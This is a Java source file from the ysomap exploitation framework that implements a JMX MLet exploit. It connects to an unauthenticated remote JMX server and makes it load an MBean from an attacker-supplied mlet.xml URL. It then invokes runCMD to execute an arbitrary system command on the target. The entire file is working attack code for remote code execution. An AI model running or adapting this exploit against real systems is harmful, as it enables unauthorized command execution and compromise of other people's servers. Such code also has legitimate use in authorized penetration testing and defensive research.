package ysomap.exploits.jmx;

import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.jmx.component.MLetPayloadMBean;

import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/**
 * @author wh1t3P1g
 * @since 2020/3/17
 */
@SuppressWarnings({"unchecked"})
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(param = false)
@Details("针对无认证且未设置security manager的JMX服务，允许加载MLet形式外部MBean。\n" +
        "通过设置exploit(JMXEvilMletServer)，使得目标JMX服务载入外部MBean。\n" +
        "当前exploit需要配合`JMXEvilMletServer`.")
public class JMXMLetExploit extends AbstractExploit {

    @NotNull
    @Require(name = "rhost",detail = "remote JMX server host")
    public String rhost = null;

    @NotNull
    @Require(name = "rport", type = "int", detail = "remote JMX server port")
    public String rport = null;

    @NotNull
    @Require(name = "mletURL", detail = "remote mlet.xml url address")
    public String mletURL = null;

    @NotNull
    @Require(name = "cmd", detail = "system command to execute")
    public String cmd = null;

    private MBeanServerConnection mbeanServerConnection;

    @Override
    public void work() {
        try {
            Map<String, Object> environment = new HashMap<>();
            JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + rhost + ":" + rport + "/jmxrmi");
            JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
            mbeanServerConnection = jmxConnector.getMBeanServerConnection();
            if(mbeanServerConnection != null){
                inject();
                // 调用注入后的MBean
                ObjectName mbeanName = new ObjectName("ysomap.exploits.jmx.component:name=payload,id=1");
                mbeanServerConnection.invoke(mbeanName,
                        "runCMD",
                        new Object[]{cmd},
                        new String[]{String.class.getCanonicalName()});
            }
            // close the connection
            jmxConnector.close();
        } catch (IllegalArgumentException | RuntimeMBeanException e){
            // exploit success! do nothing
        } catch (SecurityException e){
            Logger.error(e.getMessage()+", can't attack this target");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        status = Status.STOPPED;
    }

    public void inject() throws Exception{
        ObjectInstance mletBean = null;
        try{
            mletBean = mbeanServerConnection.createMBean("javax.management.loading.MLet", null);
        }catch (InstanceAlreadyExistsException e){
            mletBean = mbeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
        }
        HashSet<Object> objects = (HashSet<Object>) mbeanServerConnection.invoke(mletBean.getObjectName(),
                          "getMBeansFromURL",
                                        new Object[]{mletURL},
                                        new String[]{String.class.getCanonicalName()}
                                );
        for(Object obj:objects){
            if(obj instanceof InstanceAlreadyExistsException){
                Logger.success("MLetPayload already exist!");
            }else if(obj instanceof MLetPayloadMBean){
                Logger.success("MLetPayload inject success!");
            }
        }

    }
}
